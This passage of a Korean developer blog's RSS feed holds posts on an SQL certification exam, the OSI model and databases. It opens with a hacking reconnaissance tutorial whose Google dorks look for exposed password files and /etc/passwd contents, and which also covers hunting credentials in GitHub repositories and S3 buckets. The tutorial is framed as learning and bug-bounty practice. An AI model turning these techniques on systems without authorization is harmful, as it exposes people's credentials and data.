<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom">
  <channel>
    <title>nogarden.log</title>
    <link>https://njw.kro.kr/blog/</link>
    <description>노정원의 개발 블로그 - 네트워크·정보보안·백엔드</description>
    <language>ko</language>
    <lastBuildDate>Sat, 22 Aug 2026 20:53:56 GMT</lastBuildDate>
    <atom:link href="https://njw.kro.kr/blog/rss.xml" rel="self" type="application/rss+xml" />
    <item>
      <title>[해킹] 타겟 정보 수집</title>
      <link>https://njw.kro.kr/blog/posts/%ED%95%B4%ED%82%B9-%ED%83%80%EA%B2%9F-%EC%A0%95%EB%B3%B4-%EC%88%98%EC%A7%91/</link>
      <guid isPermaLink="true">https://njw.kro.kr/blog/posts/%ED%95%B4%ED%82%B9-%ED%83%80%EA%B2%9F-%EC%A0%95%EB%B3%B4-%EC%88%98%EC%A7%91/</guid>
      <pubDate>Sat, 22 Aug 2026 20:53:56 GMT</pubDate>
      <description><![CDATA[<p>해킹을 진행하는 과정 중 정보 수집이라는 단계가 존재한다.<br>오늘은 다양한 정보 수집 기법에 대해 알아보자.</p>
<h2>정보 수집이란</h2>
<p>해킹에서의 정보 수집은 말 그대로 타겟에 대한 다양한 정보를 수집하는 것이다.<br>내가 아는 것, 내가 할 수 있는 것과 더불어서 타겟에 대한 정보를 많이 알 수록 발견하지 못했던 취약점을 발견해내고 시나리오를 짤 수 있게 된다. 그 외에도 정보 수집 과정 자체에서 취약점을 발견할 수도 있다.</p>
<h3>수동 탐색</h3>
<p>수동 탐색이란 정보 수집과정의 일부이자 가장 처음 진행하는 정보 수집 과정이다.<br>이는 해킹을 진행하기에 앞서, 타겟 서비스를 직접 이용해보는 과정이라고 할 수 있다.<br>단, 사용할 시 단순히 일반 사용자처럼 몇가지 기능만 사용해보는 것이 아니라 사이트의 처음부터 끝까지, 사소한 기능 하나하나 모두 테스트해 보는 것이 중요하다. 수동 탐색을 진행하며 공격자의 관점에서 시나리오를 정리할 수 있다.</p>
<h3>구글 해킹(구글 도킹)</h3>
<p>구글 해킹(또는 구글 도킹)은 구글 검색을 통해 타겟의 대한 정보를 수집하는 과정이다.<br>구글 검색 엔진은 검색할 때 특정 조건으로 필터링할 수 있는 연산자가 존재한다. 이제 몇가지 연산자의 종류를 소개하겠다.</p>
<table>
<thead>
<tr>
<th>연산자</th>
<th>기능</th>
<th>사용 예시</th>
</tr>
</thead>
<tbody><tr>
<td>site</td>
<td>검색 결과 중 특정 사이트에서의 자료만 보고 싶을 때</td>
<td>노정원 site:njw.kro.kr</td>
</tr>
<tr>
<td>inurl</td>
<td>url 중에 특정 문자가 포함되어 있는 자료만 검색할 때</td>
<td>inurl:admin</td>
</tr>
<tr>
<td>intitle</td>
<td>페이지의 Title에 특정 글자가 포함된 페이지만 검색</td>
<td>intitle : index of</td>
</tr>
<tr>
<td>link</td>
<td>특정 Link를 포함하고 있는 페이지만 검색</td>
<td>link:example.com</td>
</tr>
<tr>
<td>filetype</td>
<td>특정 유형의 파일들만 검색할 때</td>
<td>filetype:pdf 이력서</td>
</tr>
<tr>
<td>wildcard</td>
<td>모든 글자를 의미하는 글자</td>
<td>해킹 * 배우는 법</td>
</tr>
</tbody></table>
<p>이러한 다양한 연산자를 효과적으로 사용한 예시는 아래와 같다.</p>
<blockquote>
<p>site:<em>.targetSystem.com - 특정 도메인의 사이트, 페이지들 검색<br>site:</em>.targetSystem.com inurl:app/kibana - 타겟 도메인 중 특정 경로를 가지고 있는 페이지들을 찾아낼 때<br>site:s3.amazonaws.com TargetName - 특정 회사의 Amazon S3 버킷을 찾아낼 때<br>site:*.targetSystem.com ext:txt password - 타겟 도메인 사이트에서 text 파일 중 password 단어 검색<br>inurl:/etc/passwd root:x:0:0:root:/root:/bin/bash - LFI 취약점 사이트 검색 (site: 연산 추가)<br>intitle:index of - 디렉토리 리스팅 취약점 검색 (site: 연산 추가)</p>
</blockquote>
<p>이러한 구글 해킹에 도움되는 예시들을 모아놓은 <a href="https://www.exploit-db.com/google-hacking-database" target="_blank" rel="noopener">GHDB</a>라는 서비스가 존재하니 참고 바란다.</p>
<h3>Spidering(Crawling)</h3>
<p>Spidering(Crawling)이란 서비스 내에 존재하는 하이퍼 링크와 같은 노출되는 다른 공격 표면을 수집하는 과정을 뜻한다.<br>수동 탐색과 다르게 봇이 직접 탐색하므로 미처 발견하지 못했던 공격 표면을 발견할 수도 있다.<br>이러한 웹 스파이더링을 진행하는 툴 중에 <code>ZAP</code>이라는 툴이 존재한다.<br><a href="https://www.zaproxy.org/download/" target="_blank" rel="noopener">여기</a>서 다운받을 수 있다.</p>
<h3>S3 Bucket</h3>
<p>S3(Simple Storage Service) Bucket이란 AWS 측에서 제공하는 클라우드 저장 서비스이다.<br>S3 Bucket을 단순히 관리 데이터를 저장하는 데이터베이스 서버로 쓰기도 하지만 여러가지 흥미로운 정보를 저장하는 백업 서버등으로 사용하는 경우도 있다. 이때 다른 숨겨진 서버나 로그, 크리덴셜과 같은 추가적인 정보를 발견할 가능성이 존재한다.<br>S3 버킷은 위에서 설명한 구글 도킹과 <code>GrayhatWarfare</code>, <code>Bucket Stream</code>이라는 툴로 찾을 수 있다.</p>
<h4>S3 Bucket 구글 해킹</h4>
<p>S3 Bucket은 구글 해킹을 통해 발견할 수 있는데</p>
<blockquote>
<p>site:s3.amazonaws.com [Target]<br>또는<br>site:amazonaws.com [Target]</p>
</blockquote>
<p>와 같은 방법을 사용할 수 있다.</p>
<h4>S3 Bucket GrayhatWarfare</h4>
<p><code>GrayhatWarfare</code>는 인터넷에 무단으로 노출된 퍼블릭 클라우드 스토리지의 파일들을 수집하여 검색할 수 있도록 지원하는 오픈소스 기반 OSINT(개방형 정보 수집) 보안 검색엔진이다.</p>
<p><a href="https://grayhatwarfare.com/" target="_blank" rel="noopener">여기</a>서 웹 서비스의 형태로 사용될 수 있으며 타겟 이름과 키워드등을 검색해 사용할 수 있다.</p>
<h4>S3 Bucket Bucket Stream</h4>
<p><code>Bucket Stream</code>은 <code>CT</code>를 기반으로 S3 Bucket을 찾아준다.</p>
<blockquote>
<p>CT(Certificate Transparency)는 CA가 잘못 발급한 인증서를 잡기 위한 공개 감시 체계이다. CA가 털려서 google.com 위조 인증서가 발급돼도 아무도 몰랐던 문제를 해결하려고 만듦.<br>내부 동작:<br>CA가 인증서 발급 → 공개 append-only 로그 서버에 제출 (Google Argon/Xenon, Cloudflare Nimbus, Let&#39;s Encrypt Oak 등)<br>로그 서버가 SCT(Signed Certificate Timestamp) 반환 → 인증서에 embed<br>브라우저는 SCT 없는 인증서를 거부 (Chrome은 2018년 4월부터 강제)<br>로그는 Merkle Hash Tree 구조라 과거 기록 삭제/변조 불가 → 누구나 감사 가능</p>
</blockquote>
<h3>Github Recon</h3>
<p>github에서 발견할 수 있는 정보들을 수집하는 과정을 Github Recon이라고 지칭한다.<br>git은 버전 관리 플랫폼인데 이를 개인이 아닌 다수가 사용할 수 있도록 하는 서비스가 바로 github이다.<br>보안 관리 상 github은 매우 중요한데 github에 개발자가 남겨 놓은 크리덴셜 외에도 하드 코딩된 민감한 정보가 존재할 수 있기도 하고 발견하지 못했던 취약점을 발견할 수도 있기 때문이다. git 특성상 커밋을 제거하더라도 기록이 남기 때문에 매우 치명적이라고 볼 수 있다.</p>
<p>타겟 회사 이름, 프로젝트 이름, 개발자 이름(닉네임) 등을 검색하여 Github Repo를 찾아낼 수 있다. 찾아낸 뒤에는 Issues / Code Commits / Code History / Blame 현황을 조사하는 것이 중요하다. 이 부분에서 발생한 버그들과 버그를 패치한 과정을 볼 수 있기 때문이다.</p>
<p>코드 내에서 취약점을 찾아내는 키워드는 key, secret, password, cred와 같고 <a href="https://github.com/streaak/keyhacks" target="_blank" rel="noopener">여기</a>서 크리덴셜이 유효한지 확인할 수 있다.</p>
<p>Github Recon도 위와 마찬가지로 자동화 도구들이 존재한다.<br>바로 <a href="https://github.com/michenriksen/gitrob" target="_blank" rel="noopener">Gitrob</a>과 <a href="https://github.com/trufflesecurity/trufflehog" target="_blank" rel="noopener">TruffleHog</a>이다.</p>
<p>이 도구들은 깃허브 토큰을 넣고 사용 가능하다.</p>
<h3>Domain Enumeration</h3>
<p>Domain Enumeration은 호스트 도메인을 이용해 하위 도메인을 찾는 과정이다.<br>이를 통해 공격 표면을 확장시킬 수 있고, 버그바운티를 진행할 시 공격 대상이 <code>*.example.com</code>일 때 진행한다.</p>
<p>Domain Enumeration은 인증서의 SAN(Subject Alternative Name)을 조사하거나 amass라는 도구를 사용하여 진행할 수 있다.</p>
<h4>Domain Enumeration SAN</h4>
<p>SAN은 한개의 인증서로 여러 도메인을 등록할 수 있는 기능인데, Domain Enumeration도 S3 Bucket과 마찬가지로 <code>CT(Certificate Transparency)</code>를 조사함으로써 진행할 수 있다.<br>추천하는 서비스는 <a href="https://sslmate.com/ct_search_api/" target="_blank" rel="noopener">여기</a>다.</p>
<h4>Domain Enumeration amass</h4>
<p>amass는 정보 수집 도구인데, amass의 enum 속성을 통해 Domain Enumeration을 진행할 수 있다.<br><img src="https://velog.velcdn.com/images/njw/post/503789dc-dba8-4500-bd71-34b504f7253a/image.png" alt="[해킹] 타겟 정보 수집" width="578" height="224" loading="lazy" decoding="async"></p>
<h2>마무리</h2>
<p>오늘은 해킹의 가장 첫 단계인 정보 수집에 대해 알아보았다!</p>
]]></description>
      <author>njwon19@gmail.com (노정원)</author>
      <category>정보수집</category><category>중요성</category><category>해킹</category>
    </item>
    <item>
      <title>[자격증] SQLD 60회 1주 벼락치기 후기!!</title>
      <link>https://njw.kro.kr/blog/posts/%EC%9E%90%EA%B2%A9%EC%A6%9D-SQLD-60%ED%9A%8C-%ED%9B%84%EA%B8%B0/</link>
      <guid isPermaLink="true">https://njw.kro.kr/blog/posts/%EC%9E%90%EA%B2%A9%EC%A6%9D-SQLD-60%ED%9A%8C-%ED%9B%84%EA%B8%B0/</guid>
      <pubDate>Sat, 04 Jul 2026 13:59:48 GMT</pubDate>
      <description><![CDATA[<h2>SQLD 합격</h2>
<p>2025년에 우연히 SQLD라는 자격증에 대해 알게 되었다.<br>학교에서도 SQL을 가르치던 터라 관심이 생겨 준비하게 되었다.</p>
<p><del>첫트에 합격했다</del><br><img src="https://velog.velcdn.com/images/njw/post/93c4a460-2a4f-41a6-b2b8-20f9472f9221/image.png" alt="[자격증] SQLD 60회 1주 벼락치기 후기!!" width="648" height="583" loading="lazy" decoding="async"></p>
<h3>SQLD?</h3>
<p>SQLD란 한국데이터산업진흥원에서 주관하는 자격증 시험이다.<br>1년에 4번 시험을 치고 응시료는 5만원이다.<br><img src="https://velog.velcdn.com/images/njw/post/7ba35a64-204b-495c-b785-5d3b460bbcbf/image.png" alt="[자격증] SQLD 60회 1주 벼락치기 후기!!" width="661" height="846" loading="lazy" decoding="async"><br>나오는 문제 유형은 위와 같다.<br>1시간 반 동안 시험이 진행되며, <b>60점 이상 획득 시 합격</b>이다.<br>다만, 과락제도가 존재해 과목 별로 <b>40% 이상 점수를 얻어야 한다.</b><br>문제은행 제도가 없기 때문에 나오는 문제 유형이 몇가지를 제하고는 항상 다른 식이다. 특히 내가 시험을 쳤던 60회는 난이도가 많이 어려웠다고 한다.</p>
<h4>배경지식</h4>
<p>학교에서 SQL 수업을 들었었지만 수업할 당시엔 뜻이 없어 <b>깊게 들어가진 않았다.</b><br><del>하지만, 60회 1번 문제에 책에는 없었지만 학교에서 배웠던 ERD 관련 문제가 나와 맞출 수 있었다.</del></p>
<h4>준비 과정</h4>
<p>26년 1~2월부터 공부를 시작했지만..</p>
<p>사실 이때 미래 유망 프로젝트, 기능반 등과 겹쳐 본격적인 준비를 하지는 못했고 간간히 복원 기출을 풀어보는 식이었다.<br>본격적인 공부는 <b>시험 1~2주 전에 시작</b>했던 것 같다. SQLD는 문제은행 제도가 없기 때문에 <b>단순히 기출문제를 외우는 것으로는 합격이 힘들다.</b> 물론 기출문제를 풀어보는 것이 도움이 안된다는 것은 아니다.</p>
<p><img src="https://velog.velcdn.com/images/njw/post/27554648-41d6-4840-82b1-1257e2377662/image.jpg" alt="[자격증] SQLD 60회 1주 벼락치기 후기!!" width="1600" height="1461" loading="lazy" decoding="async"><br>나는 흔히 SQLD 노랭이라고 알려져 있는 <b>&quot;SQL 자격검정 실전문제&quot;</b> 책을 이용해 준비하였다.</p>
<p>SQLD 노랭이는 SQLD 뿐만 아니라 SQLP를 준비할 때에도 쓰이는 책이기 때문에 <b>난이도가 많이 어렵다.</b><br>책 안에 개념이 나와있는 것이 아닌, <b>문제 유형만 나와</b> 있기 때문에 비전공자가 이 책만으로 준비하는 것은 어렵다고 생각한다. 하지만 SQLD 노랭이는 자격증을 발급하고 주관하는 한국데이터산업진흥원에서 쓴 책이기 때문에 실제로 <b>시험에 몇 문제 정도가 이 책에서 등장</b>한다.</p>
<p>나는 이 SQLD 노랭이 책 문제에 등장하는 개념을 <b>&quot;모두 이해하면&quot;</b> 어렵지 않게 자격증을 취득할 수 있다고 생각한다.</p>
<p><b>몇 회독 이런 것은 중요하지 않다.</b> 만약 SQLD를 준비하는 중이라면 SQLD 노랭이를 구매해 <b>딥하게 이론을 파며 모두 이해해야 한다.</b></p>
<p>나는 노랭이 약 2회독을 진행하였고, <b>SQLD 개념 PDF를 찾아 통으로 외웠다.</b>(<a href="https://bruders.tistory.com/173#tag3" target="_blank" rel="noopener">PDF는 여기</a>) 그 후에 노랭이를 본격적으로 풀었다.</p>
<p>시간이 촉박해 밤을 많이 샜던거같다.</p>
<p>중간중간 헷갈리거나 모르는 것은 <b>AI의 도움을 조금 <del>많이</del> 받았다.</b></p>
<h3>후기</h3>
<p>SQLD.. 내가 주니어라 모르는 것인지 모르겠지만 공부할 당시에 조금 어려웠던 기억이 있다. 조금 급하게 준비한 감도 없잖아 있어 그런것 같기도 하다. 그래도 많이 어려운 자격증은 아니니 <b>비전공자던 전공자던 모두 즐겁게 준비했으면 좋겠다.</b></p>
<h3>공부할 때 참고했던 곳들</h3>
<p><a href="https://bruders.tistory.com/173#tag3" target="_blank" rel="noopener">해리누나님 블로그 요약 PDF: https://bruders.tistory.com/173#tag3</a></p>
<p><a href="https://product.kyobobook.co.kr/detail/S000212021705" target="_blank" rel="noopener">SQLD 노랭이: https://product.kyobobook.co.kr/detail/S000212021705</a></p>
<p><a href="https://www.sqld.kr/" target="_blank" rel="noopener">SQLD 문제은행: https://www.sqld.kr</a></p>
<p><del>AI는 돈이 없어 제미나이..</del></p>
]]></description>
      <author>njwon19@gmail.com (노정원)</author>
      <category>SQLD</category><category>데이터베이스</category><category>자격증</category>
    </item>
    <item>
      <title>[네트워크] OSI 7 계층과 네트워크</title>
      <link>https://njw.kro.kr/blog/posts/%EB%84%A4%ED%8A%B8%EC%9B%8C%ED%81%AC-OSI-7-%EA%B3%84%EC%B8%B5%EA%B3%BC-%EB%84%A4%ED%8A%B8%EC%9B%8C%ED%81%AC/</link>
      <guid isPermaLink="true">https://njw.kro.kr/blog/posts/%EB%84%A4%ED%8A%B8%EC%9B%8C%ED%81%AC-OSI-7-%EA%B3%84%EC%B8%B5%EA%B3%BC-%EB%84%A4%ED%8A%B8%EC%9B%8C%ED%81%AC/</guid>
      <pubDate>Mon, 27 Apr 2026 12:37:54 GMT</pubDate>
      <description><![CDATA[<h2>OSI 7계층과 네트워크</h2>
<p>우리가 매일 사용하는 인터넷, 카카오톡 메시지, 유튜브 스트리밍. 이 모든 것은 데이터가 한 컴퓨터에서 다른 컴퓨터로 이동하는 과정에서 이루어진다. 이처럼 여러 장치들이 서로 데이터를 주고받을 수 있도록 연결된 구조를 **네트워크(Network)**라고 한다.<br>네트워크는 규모에 따라 구분된다. 집이나 사무실처럼 좁은 범위 안에서 연결된 네트워크를 **LAN(Local Area Network)**이라 하고, 도시나 국가 단위의 넓은 범위를 연결한 것을 **WAN(Wide Area Network)**이라 한다. 우리가 흔히 말하는 인터넷은 전 세계의 수많은 네트워크가 서로 연결된 거대한 WAN이다.<br>그런데 서로 다른 제조사의 컴퓨터, 서로 다른 운영체제, 서로 다른 프로그램들이 어떻게 아무 문제 없이 데이터를 주고받을 수 있는 걸까. 그 답이 바로 OSI 7계층 모델에 있다.</p>
<h3>OSI 7계층</h3>
<p><b>OSI(Open Systems Interconnection) 7계층은 국제표준화기구(ISO)가 1984년에 제정한 네트워크 통신 표준 모델</b>이다. <b>서로 다른 시스템 간의 통신이 가능하도록 통신 과정을 7개의 계층으로 나누어 정의</b>한 것이다. <b>각 계층은 독립적인 역할을 담당</b>하고, 바로 위 아래 계층과만 소통한다. 덕분에 <b>특정 계층에 문제가 생겨도 다른 계층에 영향을 주지 않고, 문제의 원인을 계층별로 추적할 수 있다.</b></p>
<h4>각 계층 상세 설명</h4>
<h5>1계층 — 물리 계층 (Physical Layer)</h5>
<p>물리 계층은 데이터를 전기 신호, 빛, 전파 등 물리적인 신호로 변환하여 전송하는 계층이다. 0과 1로 이루어진 비트(Bit) 단위의 데이터를 실제로 케이블이나 무선을 통해 전달하는 역할을 한다. 여기서는 데이터의 의미나 내용은 전혀 상관하지 않고, 오직 신호를 어떻게 보낼 것인지만 다룬다. 대표적인 장비로는 케이블, 허브, 리피터가 있다.</p>
<h5>2계층 — 데이터 링크 계층 (Data Link Layer)</h5>
<p>데이터 링크 계층은 같은 네트워크 안에서 인접한 장치 간의 신뢰성 있는 데이터 전송을 담당한다. 물리 계층에서 발생할 수 있는 오류를 감지하고 수정하며, 데이터를 프레임(Frame) 단위로 나누어 전송한다. 각 장치를 구분하기 위해 MAC 주소를 사용하고, 대표적인 장비로는 스위치와 브리지가 있다.</p>
<h5>3계층 — 네트워크 계층 (Network Layer)</h5>
<p>네트워크 계층은 서로 다른 네트워크 간의 데이터 전송을 담당한다. 출발지에서 목적지까지 데이터가 어떤 경로로 이동할지 결정하는 **라우팅(Routing)**이 이 계층의 핵심이다. 데이터는 패킷(Packet) 단위로 전송되며, 장치를 구분하기 위해 IP 주소를 사용한다. 대표적인 장비는 라우터이고, 대표적인 프로토콜로는 IP, ICMP가 있다.</p>
<h5>4계층 — 전송 계층 (Transport Layer)</h5>
<p>전송 계층은 송신자와 수신자 간의 end-to-end 통신을 담당한다. 데이터를 세그먼트(Segment) 단위로 나누고, 수신 측에서 올바른 순서로 재조립하는 역할을 한다. 대표적인 프로토콜로 TCP와 UDP가 있다.</p>
<p>TCP는 연결을 먼저 수립하고 데이터를 주고받는 방식으로, 통신 시작 전 3-Way Handshake를 통해 연결을 맺고, 패킷 순서 번호와 수신 확인(ACK)을 트래킹하며 데이터가 손실 없이 순서대로 도착하는 것을 보장한다.<br>반면 UDP는 Handshake 과정 없이 데이터를 바로 전송하기 때문에 속도가 빠르지만 신뢰성은 보장하지 않는다. 파일 다운로드나 데이터베이스 통신처럼 정확성이 중요한 경우엔 TCP를, 실시간 스트리밍이나 게임, DNS 질의처럼 속도가 중요하거나 데이터가 매우 작은 경우엔 UDP를 사용하는 이유가 여기에 있다.<br>TCP의 고질적인 문제로 HOL(Head of Line) Blocking이 있다. 패킷 하나가 유실되면 뒤따라오는 모든 패킷이 그 패킷을 기다려야 하는 현상이다.<br>구글이 HTTP/3에서 UDP 기반의 QUIC 프로토콜을 선택한 이유도 여기에 있다. TCP는 OS 커널 레벨에 깊게 박혀 있어 수정이 어렵지만, UDP는 기능이 없는 만큼 애플리케이션 레벨에서 신뢰성 로직을 자유롭게 구현할 수 있기 때문이다.</p>
<h5>5계층 — 세션 계층 (Session Layer)</h5>
<p>세션 계층은 두 장치 간의 통신 세션을 생성하고 유지하고 종료하는 역할을 한다. 파일을 전송하는 도중 연결이 끊겼을 때 처음부터 다시 시작하지 않고 중단된 지점부터 재개할 수 있게 해주는 것이 세션 계층의 역할이다. 실질적으로 현대 네트워크에서는 TCP가 세션 관리 역할의 상당 부분을 대신하기 때문에, 5계층은 독립적으로 부각되는 경우가 적다.</p>
<h5>6계층 — 표현 계층 (Presentation Layer)</h5>
<p>표현 계층은 데이터의 형식을 변환하고 암호화·복호화를 처리하는 계층이다. 서로 다른 시스템이 데이터를 동일하게 이해할 수 있도록 번역하는 역할을 한다. JPEG, MP3, UTF-8 같은 인코딩 방식이나 SSL/TLS 암호화가 이 계층에서 처리된다.</p>
<h5>7계층 — 응용 계층 (Application Layer)</h5>
<p>응용 계층은 사용자와 가장 가까운 계층으로, 실제 애플리케이션이 네트워크 서비스를 이용할 수 있도록 인터페이스를 제공한다. HTTP, HTTPS, FTP, DNS, SMTP 등이 대표적이다.</p>
<h4>포트</h4>
<p>OSI 계층을 이해했다면 이제 포트 개념이 자연스럽게 연결된다. IP 주소가 건물의 주소라면, **포트(Port)**는 건물 안의 창구 번호다. 같은 서버에서 웹 서비스도 하고 이메일도 받고 SSH 접속도 받을 수 있는 것은 각 서비스가 서로 다른 포트를 점유하고 있기 때문이다.<br>포트의 번호는 0번부터 65535번까지 총 65536개가 있다. 이 중 0번부터 1023번까지는 **잘 알려진 포트(Well-known Port)**라고 하며, 각 번호에 유명한 서비스가 등록되어 있다. <b>22번은 SSH, 80번은 HTTP, 443번은 HTTPS</b>가 대표적이다. 이 대역의 포트에 서비스를 실행하려면 관리자 권한이 필요하기 때문에, 클라이언트 입장에서는 이 포트에서 동작하는 서비스를 어느 정도 신뢰할 수 있다.<br>서비스 포트를 표기할 때는 프로토콜을 함께 적기도 한다.<br><b>TCP/80이라고 하면 80번 포트에서 TCP 방식으로 서비스가 동작한다는 뜻</b>이다. TCP로 동작하는 서비스에 UDP 클라이언트가 접근하면 데이터가 교환되지 않기 때문에, 프로토콜과 포트 번호를 함께 확인하는 것이 중요하다.</p>
<h4>DNS</h4>
<p>브라우저에 <a href="https://example.com을" target="_blank" rel="noopener">https://example.com을</a> 입력하면 실제로는 어딘가의 서버 IP 주소로 요청이 가야 한다. 그런데 컴퓨터는 example.com 같은 문자로 된 주소를 이해하지 못한다. 숫자로 된 IP 주소만 알기 때문이다. 이 중간 다리 역할을 하는 것이 **DNS(Domain Name System)**다.<br><b>DNS는 도메인 이름을 IP 주소로 변환하는 분산 데이터베이스 시스템으로, 인터넷의 전화번호부</b>라고 생각하면 된다. 브라우저가 example.com을 입력받으면 먼저 DNS 서버에 &quot;이 도메인의 IP 주소가 뭐야?&quot;라고 물어보고, DNS가 123.456.78.9 같은 IP를 돌려주면 그제야 실제 서버로 요청을 보낸다.<br>서버를 직접 운영할 때는 도메인을 구매한 뒤 DNS 레코드를 직접 설정해야 한다. <b>A 레코드는 도메인을 IPv4 주소로 연결하고, CNAME 레코드는 도메인을 다른 도메인으로 연결</b>한다. <b>MX 레코드는 이메일 서버를 지정하고, TXT 레코드는 도메인 소유권 인증이나 SPF 설정</b> 등에 사용된다. DNS 설정 변경 후 전 세계 DNS 서버에 전파되기까지 수 분에서 최대 48시간이 걸릴 수 있는데, 이를 **DNS 전파(DNS Propagation)**라고 한다.</p>
<h4>서버를 구성하며 만나게 되는 네트워크 개념들</h4>
<h5>IP 주소와 CIDR 표기법</h5>
<p>IP 주소는 네트워크 상에서 장치를 식별하는 고유한 주소로, IPv4는 192.168.0.1처럼 0~255 사이의 숫자 네 개를 점으로 구분한 형태다. 공인 IP는 인터넷에서 유일하게 식별 가능한 주소이고, 사설 IP는 내부 네트워크에서만 사용하는 주소다. 192.168.x.x, 10.x.x.x, 172.16.x.x ~ 172.31.x.x 대역이 사설 IP로 예약되어 있다.<br>네트워크 범위를 표현할 때는 CIDR 표기법을 사용한다. 192.168.0.0/24처럼 IP 주소 뒤에 슬래시와 숫자를 붙이는 방식으로, 뒤의 숫자는 네트워크 부분의 비트 수를 의미한다. /24면 사용 가능한 IP가 256개(실제로는 254개)라는 뜻이다.</p>
<h5>서브넷과 서브넷 마스크</h5>
<p>**서브넷(Subnet)**은 하나의 큰 네트워크를 여러 개의 작은 네트워크로 나눈 것이다. 클라우드 환경에서는 서브넷을 퍼블릭 서브넷과 프라이빗 서브넷으로 나누는 것이 일반적이다. 퍼블릭 서브넷은 인터넷과 직접 통신이 가능한 영역으로 웹 서버나 로드밸런서를 배치하고, 프라이빗 서브넷은 외부에서 직접 접근할 수 없는 영역으로 데이터베이스나 내부 서버를 배치한다.<br>서브넷을 나눌 때 사용하는 것이 **서브넷 마스크(Subnet Mask)**다. 255.255.255.0처럼 표현되며, IP 주소와 AND 연산을 하면 해당 IP가 어느 네트워크에 속하는지 알 수 있다.<br>IP 주소:      192.168.1.130  →  11000000.10101000.00000001.10000010<br>서브넷 마스크: 255.255.255.0  →  11111111.11111111.11111111.00000000<br>AND 연산:     192.168.1.0    →  네트워크 주소</p>
<h5>NAT</h5>
<p>프라이빗 서브넷의 서버는 사설 IP를 가지고 있어서 인터넷과 직접 통신할 수 없다. 이때 사설 IP를 공인 IP로 변환해주는 기술이 **NAT(Network Address Translation)**다. 클라우드 환경에서는 NAT 게이트웨이가 이 역할을 한다. 외부에서는 프라이빗 서버의 존재 자체를 알 수 없고, 요청과 응답 모두 NAT 게이트웨이를 거쳐 변환된다.</p>
<h5>방화벽</h5>
<p>**방화벽(Firewall)**은 네트워크 트래픽을 감시하고, 정해진 규칙에 따라 허용하거나 차단하는 보안 시스템이다. AWS 기준으로 **보안 그룹(Security Group)**은 인스턴스 단위에서 동작하는 방화벽으로 기본적으로 모든 인바운드를 차단하고 필요한 것만 여는 화이트리스트 방식으로 동작한다. 네트워크 ACL은 서브넷 단위에서 동작하는 상위 레벨 방화벽이다.</p>
<p>실제 서버 설정에서는 SSH 접속을 위한 22번 포트, 웹 서비스를 위한 80번과 443번 포트를 여는 작업이 기본이다. 데이터베이스 포트는 외부에 절대 열지 않고 내부 네트워크에서만 접근 가능하도록 제한하는 것이 원칙이다.</p>
<h5>로드밸런서와 리버스 프록시</h5>
<p>서버를 여러 대로 늘려 트래픽을 나눠 받는 수평 확장(Scale Out) 구조에서 트래픽을 균등하게 분산시켜 주는 장치가 **로드밸런서(Load Balancer)**다. 헬스체크로 응답하지 않는 서버를 자동으로 제외하고, <b>HTTPS 인증서를 앞단에서 처리하는 SSL 종료 역할도 담당</b>한다.<br>**리버스 프록시(Reverse Proxy)**는 클라이언트의 요청을 대신 받아 내부 서버로 전달하는 서버다. Nginx가 대표적으로 사용된다. <b>내부 서버의 존재를 숨기고, SSL 처리, 캐싱, 요청 필터링을 한 곳에서 처리할 수 있다는 장점</b>이 있다.</p>
<h5>데이터가 전송되는 실제 흐름</h5>
<p>브라우저에서 <a href="https://example.com을" target="_blank" rel="noopener">https://example.com을</a> 입력하면, DNS가 도메인을 로드밸런서의 공인 IP로 변환한다.<br>↓<br>로드밸런서는 HTTPS 요청을 받아 SSL을 종료하고 내부 웹 서버들에게 트래픽을 분산한다.<br>↓<br>7계층에서 HTTP 요청이 만들어지고,<br>↓<br>6계층에서 TLS 암호화가 적용되고,<br>↓<br>4계층에서 TCP 세그먼트로 분할되고,<br>↓<br>3계층에서 IP 경로가 결정되고,<br>↓<br>2계층에서 MAC 주소 기반 프레임이 만들어지고,<br>↓<br>1계층에서 전기 신호로 변환되어 케이블을 타고 흐른다. </p>
<p>수신 측은 반대 방향으로 올라오며 해석한다.<br>이 과정을 **캡슐화(Encapsulation)**와 **역캡슐화(Decapsulation)**라고 한다.</p>
<h5>TCP/IP 모델과의 관계</h5>
<p>실제 인터넷은 OSI 7계층이 아닌 TCP/IP 4계층 모델을 기반으로 동작한다.<br>OSI의 5, 6, 7계층을 하나의 응용 계층으로, 1, 2계층을 네트워크 접근 계층으로 합쳐 총 4개의 계층으로 단순화한 구조다.<br>OSI 7계층을 배우는 이유는 실제로 그대로 구현하기 위해서가 아니라, 네트워크 통신의 각 단계를 개념적으로 분리해서 이해하기 위해서다.</p>
<h2>마치며</h2>
<p>네트워크 관련된 글을 전부터 정말 쓰고 싶었다..<br>쓰고 나니 기분이 좋다!</p>
]]></description>
      <author>njwon19@gmail.com (노정원)</author>
      <category>네트워크</category><category>통신</category>
    </item>
    <item>
      <title>[데이터베이스] 데이터베이스와 암호화</title>
      <link>https://njw.kro.kr/blog/posts/%EB%8D%B0%EC%9D%B4%ED%84%B0%EB%B2%A0%EC%9D%B4%EC%8A%A4-%EB%8D%B0%EC%9D%B4%ED%84%B0%EB%B2%A0%EC%9D%B4%EC%8A%A4%EC%99%80-%EC%95%94%ED%98%B8%ED%99%94/</link>
      <guid isPermaLink="true">https://njw.kro.kr/blog/posts/%EB%8D%B0%EC%9D%B4%ED%84%B0%EB%B2%A0%EC%9D%B4%EC%8A%A4-%EB%8D%B0%EC%9D%B4%ED%84%B0%EB%B2%A0%EC%9D%B4%EC%8A%A4%EC%99%80-%EC%95%94%ED%98%B8%ED%99%94/</guid>
      <pubDate>Mon, 27 Apr 2026 10:38:17 GMT</pubDate>
      <description><![CDATA[<h2>데이터베이스, 해시, 그리고 bcrypt</h2>
<h3>데이터베이스</h3>
<p>한 번쯤 다이어리에 일정과 메모를 적고, 학교에서 들은 강의를 노트에 기록해 본 경험이 있을 것이다. 새로운 일정이 생기면 다이어리를 펼쳐 날짜에 맞게 기록하고, 일정이 변경되거나 취소된다면 기록한 내용을 수정하거나 삭제할 수 있다. 일상 생활에서 생기는 다양한 정보를 기록하기 위해 다이어리와 노트를 사용하듯이, 컴퓨터도 정보를 기록하기 위해 **데이터베이스(Database)**를 사용한다.</p>
